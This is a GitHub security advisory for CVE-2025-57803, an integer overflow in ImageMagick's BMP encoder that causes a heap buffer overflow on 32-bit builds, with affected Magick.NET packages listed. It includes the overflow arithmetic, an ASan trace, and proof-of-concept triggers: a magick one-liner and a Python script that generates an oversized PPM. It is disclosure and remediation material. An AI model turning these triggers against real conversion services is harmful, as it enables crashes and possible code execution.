GitHub Advisoryadvisory · NuGet
GHSA-mxvv-97wh-cfmm ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow
HIGH
Official page ↗
- Aliases
- CVE-2025-57803
- Ecosystem
- NuGet
- Packages
- Magick.NET-Q16-AnyCPU, Magick.NET-Q16-HDRI-AnyCPU, Magick.NET-Q16-HDRI-x86, Magick.NET-Q16-x86, Magick.NET-Q8-AnyCPU, Magick.NET-Q8-x86
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-122, CWE-190
- Reviewed
- 2025-08-26
Affected packages
• NuGet Magick.NET-Q16-AnyCPU: < 14.8.1 → fixed in 14.8.1
• NuGet Magick.NET-Q16-HDRI-AnyCPU: < 14.8.1 → fixed in 14.8.1
• NuGet Magick.NET-Q16-HDRI-x86: < 14.8.1 → fixed in 14.8.1
• NuGet Magick.NET-Q16-x86: < 14.8.1 → fixed in 14.8.1
• NuGet Magick.NET-Q8-AnyCPU: < 14.8.1 → fixed in 14.8.1
• NuGet Magick.NET-Q8-x86: < 14.8.1 → fixed in 14.8.1
Description
Summary
A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines.
• Impact: Attacker-controlled heap out-of-bounds (OOB) write during conversion to BMP.
• Surface: Typical upload → normalize/thumbnail → `magick ... out.bmp` workers.
• 32-bit: Vulnerable (reproduced with ASan).
• 64-bit: Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards.
• Proposed severity: Critical 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
---
Scope & Affected Builds
• Project: ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`).
• Commit under test: `3fcd081c0278427fc0e8ac40ef75c0a1537792f7`
• Version string from the run: `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712`
• Architecture: 32-bit i686 (`sizeof(size_t) == 4`) with ASan/UBSan.
• Note on other versions: Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit.
---
Root Cause (with code anchors)
Stride computation (writer)
```c
bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32);
```
Per-row base and 24-bpp loop (writer)
```c
q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line;
for (x = 0; x columns; x++) {
*q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes
}
```
Allocation (writer)
```c
pixel_info = AcquireVirtualMemory(image->rows,
MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels));
pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info);
```
Dimension “caps” (insufficient)
The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are ≤ INT_MAX on 32-bit, so the caps do not prevent the bug.
---
Integer-Overflow Analysis (32-bit `size_t`)
Stride formula for 24-bpp:
```
bytes_per_line = 4 * ((width * 24 + 31) / 32)
```
There are two independent overflow hazards on 32-bit:
1. Stage-1 multiply+add in `(width * 24 + 31)`
Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969`
→ at width ≥ 178,956,970 the numerator wraps small before `/32`, producing a tiny `bytes_per_line`.
2. Stage-2 final ×4 after the division
Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`.
Solving gives width ≥ 1,431,655,765 (0x55555555).
Both thresholds are below `INT_MAX` (≈2.147e9), so “int caps” don’t help.
Mismatch predicate (guaranteed OOB when overflowed):
Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`.
Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → OOB-write.
---
Concrete Demonstration
Chosen width: `W = 178,957,200` (just over Stage-1 bound)
• Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → 5535
• Divide by 32: `5535 / 32 = 172`
• Multiply by 4: `bytes_per_line = 172 * 4 = 688 bytes` ← tiny stride
• Per-row data (24-bpp): `row_bytes = 3*W = 536,871,600 bytes`
• Allocation used: `MagickMax(688, W+256) = 178,957,456 bytes`
• Immediate OOB: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes.
---
Observed Result (ASan excerpt)
```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490
WRITE of size 1 in WriteBMPImage coders/bmp.c:2309
...
allocated by:
AcquireVirtualMemory MagickCore/memory.c:747
WriteBMPImage coders/bmp.c:2092
```
• Binary: ELF 32-bit i386, Q8, non-HDRI
• Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro)
---
Exploitability & Risk
• Primitive: Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot.
• Control: Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP).
• Likely deployment: Server-side, non-interactive conversion pipelines (UI:N).
• Outcome: At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to RCE.
Note on 64-bit: Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors.
---
Reproduction (copy-paste triager script)
Test Environment:
• `docker run -it --rm --platform linux/386 debian:11 bash`
• Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3`
• Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...`
• Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary):
```bash
./configure \
--host=i686-pc-linux-gnu \
--build=x86_64-pc-linux-gnu \
--disable-dependency-tracking \
--disable-silent-rules \
--disable-shared \
--disable-openmp \
--disable-docs \
--without-x \
--without-perl \
--without-magick-plus-plus \
--without-lqr \
--without-zstd \
--without-tiff \
--with-quantum-depth=8 \
--disable-hdri \
CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
LDFLAGS="-fsanitize=address,undefined"
make -j"$(nproc)"
```
• Runtime limits to exercise writer:
```bash
export MAGICK_WIDTH_LIMIT=200000000
export MAGICK_HEIGHT_LIMIT=200000000
export MAGICK_TEMPORARY_PATH=/tmp
export TMPDIR=/tmp
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0"
```
One-liner trigger (no input file):
```bash
W=178957200
./utilities/magick \
-limit width 200000000 -limit height 200000000 \
-limit memory 268435456 -limit map 0 -limit disk 200000000000 \
-limit thread 1 \
-size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null
```
Expected: ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link).
Alternate PoC (raw PPM generator):
```python
!/usr/bin/env python3
W, H, MAXV = 180_000_000, 1, 255
W > 178,956,969
with open("huge.ppm", "wb") as f:
f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii"))
chunk = (b"\x41\x42\x43") * (1024*1024)
remaining = 3 * W
while remaining:
n = min(remaining, len(chunk))
f.write(chunk[:n]); remaining -= n
Then: magick huge.ppm out.bmp
```
---
Proposed Severity
• Primary vector (server auto-convert): `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → 9.8 Critical
• If strictly CLI/manual conversion: `UI:R` → 8.8 High
---
Maintainer Pushbacks — Pre-empted
• “MagickMax makes allocation large.” The row base advances by overflowed `bytes_per_line`, causing row overlap and eventual region exit regardless of total allocation size.
• “We’re 64-bit only.” Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS.
• “Resource policy blocks large images.” That’s environment-dependent defense-in-depth; arithmetic must be correct.
---
Remediation (Summary)
Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear W…
Related
Alias · CVE (1)
- CVE-2025-57803 ImageMagick is free and open-source software used for editing and manipulating digital images. vulnerability
References
- https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-mxvv-97wh-cfmm web
- https://nvd.nist.gov/vuln/detail/CVE-2025-57803 advisory
- https://github.com/ImageMagick/ImageMagick/commit/2c55221f4d38193adcb51056c14cf238fbcc35d7 web
- https://github.com/ImageMagick/ImageMagick package
- https://github.com/dlemstra/Magick.NET/releases/tag/14.8.1 web
- https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html web